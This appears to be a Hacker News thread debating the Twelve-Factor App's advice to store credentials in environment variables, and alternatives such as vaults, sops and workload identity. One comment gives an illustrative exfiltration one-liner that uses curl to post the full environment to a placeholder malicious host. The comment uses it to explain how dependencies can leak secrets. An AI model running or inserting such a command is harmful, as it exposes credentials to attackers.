8 ms·
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter
by nebezb 21d ago
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1]
“Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
[1]: https://12factor.net/config https://12factor.net/config
- javcasas 21d ago> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files Teach them to use dotenv. We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing. We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match). What would be your suggestion?
- nebezb 21d agoMy issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is. Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope. As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1]. [1] https://github.com/getsops/sops https://github.com/getsops/sops
- tptacek 21d agoIt's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.
- xp84 21d agoNot a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
- nunez 21d agoVia workload identity (Instance Profiles in this case; IRSA with EKS)
- goodra7174 20d ago[flagged]
- jt2190 21d agoThe unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong. If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment. If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
- nebezb 21d ago> The unwritten assumption in 12 Factor is: the environment is secure. Fair assumption. Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
- HHad3 21d agoUnfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident. The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
- akoboldfrying 21d ago> Besides being bad advice What makes it bad advice? > this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
- patmorgan23 21d agoSecrets should go in a vault and retrieved with the help of a workload identity.
- akoboldfrying 21d agoHow does the running app instance get the workload identity? The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
- minitech 21d ago> (3) it's provided in an environment variable (no better than before) Even if you take no measures beyond simply using a token that can be exchanged for secrets (and you can – invalidate it, authenticate it, etc.), you’re already doing better than before, because the token isn’t useful to an attacker without access to the secret store, whereas something like a JWT secret key is very useful.
- akoboldfrying 20d agoThanks, I can see how invalidating the token after first use, or after a short time period, reduces the exploit possibilities. (If all upstream service providers that you depend on were perfect, this could be arranged separately for each JWT that you need, but they aren't perfect.) > authenticate it > the token isn’t useful to an attacker without access to the secret store If it's not a bearer token (that is, if you need to provide some additional credentials to authenticate it to the secret store) then any such additional authentication would need to be passed in somehow. Are you maybe assuming that in the environment where the app runs, some subsystem will have already installed a credential for some suitable IAM security principal? Because in that case, I certainly agree that it's better to anchor everything off that. That covers many cases (including every cloud) but not, e.g., rented plain VPSes or a couple of servers in your own basement.
- stephbook 21d ago"The environment" is not "environment variables" and not ".env files" For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.) Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
- nebezb 21d agoConfidently wrong. Did you read the source I linked? > The twelve-factor app stores config in environment variables
- dewey 21d agoThe vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
- nebezb 21d agoThe parent poster is wrongly quoting me to say the original post doesn't mean “env var”. Yes, it does mean env var.
- stephbook 21d agoNo, they are not stored permanently on disk according to 12f. They are only injected for the lifetime of the application and destroyed when stopped. It's not okay to store your secret on your own machine disk's .bashrc forever. It seems we're in agreement anyway.
- minitech 21d ago> "The environment" is not "environment variables" and not ".env files" Is there confusion because an extra “not” leaked in?
- zbentley 21d agoFirmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access. The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble. Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment. Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment. Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway. Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start. Good secret management at runtime should ideally be: 1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory. 2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here. 3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
- zbentley 21d agoEven putting secrets aside, the environment is a crappy place for config data. It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v. The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
- locknitpicker 19d ago> It's got a maximum size cap, It's ok, it's a kv store. > is trivially introspectable by via any process that can read `/proc`, It's ok, containerized apps are expected to run in isolated environments where you are the only one with access to this info. > and sucks at representing hierarchical or structured data beyond k=v. It's ok, it's a KV store. If it isn't, you are doing something terribly wrong. Virtually all config systems developed in the past decade follow this pattern, where multiple config providers are applied hierarchically and env vars are the last chain in the chain of responsibility that overrides all other providers. It works well.
- philbo 21d ago100% this. 1. Keep secrets in a dedicated secrets store. 2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
- tptacek 21d agoIt's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
- nightbrawler 21d agonormal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog. we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache. edit: for those wondering, api response time is sub 1ms (rust!)
- tflinton 21d agoWell you’ll need to know the path in the secret store, so store the path in the environment.
- preommr 21d agoDisagree, partially. Buy-into storing credentials into environment variables. Then, and this is important - MANAGE YOUR ENVIRONMENTS. You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad. For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
- tflinton 21d agoYeah, secrets should be fetched by application code from a secret store (aws secrets manager, vault, etc) using an identity. Put in a pull request.
- nunez 21d agoThis is the beauty of sOps. Store the secrets in the code, but store the keys in AWS SM and have sOps do the work. Works great with Instance Profiles or IRSA.
- case 21d agoI’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then. Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
- 0xbadcafebee 21d agoIt's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand. The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
- r3n 21d agoI wonder what alternative methods people use nowadays that are good enough but still simple and lightweight ? secret management services have its own place but not everyone have those available.
- nunez 21d agoIronically agents F'IN LOVE using dotenv for config but really struggle with sOps (as of Opus 4.6; maybe its better now). I was a massive fan of dotenv but sOps is so much cleaner, easy enough to use and works well enough in k8s.
- sudhirj 20d agoThe take still holds, although it is a bit more nuanced than it seems at first. 12 Factor was written by the founders of Heroku, for context, and that's exactly how Heroku worked. The app code would be submitted into a system, and run in a pre-container era container-ish environment where any instance specific data would be supplied as environment variables. This is actually in place in most hosting providers today - don't know if Heroku does it, but many others like Vercel and Fly will also encrypt your secret env vars and decrypt and inject them only at the last minute. AWS itself has something similar with its secrets manager. Even in the absence of credentials, like using role based IAM when running on EC2, it probably makes sense to note that the code must access credentials by hitting a local-only metadata server - and of course this is available only when running on EC2. For other secret like payment processor tokens, etc, there's you do need to store secrets somewhere. Putting secrets in plaintext in the files on the execution platform is of course a problem - but that's not a problem in the 12 Factor idea - it's a security lapse in the design and architecture of the platform that is supposed to be running your 12 Factor app, if that makes sense.
- trollbridge 20d agoIt’s a terrible pattern, but one that is simply entrenched. Pretty much everything treats .env as if it’s /etc/shadow now. I would prefer to see secrets from .env not actually splattered in the environment but processed/read on demand, and there are indeed libraries to do that.
- scottmotte 20d agoI'm the creator of Node dotenv and I gave this a lot of thought a couple years back. I put together a whitepaper on this. Ultimately your secrets do still have to hit your environment. But at-rest they should be split from the environment. Today I think that is encrypting your .env file and keeping the decryption key separate. Bring the decryption key only at runtime inside your environment. https://dotenvx.com/whitepaper.pdf https://dotenvx.com/whitepaper.pdf
- locknitpicker 19d ago> Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files. I don't agree, and I think this is personal belief is unfounded. 12 factor apps clearly apply to deployments, not your local dev environment. The whole industry pivoted towards .env files in local dev environments. Local dev tools still store their secrets where they can: local storage.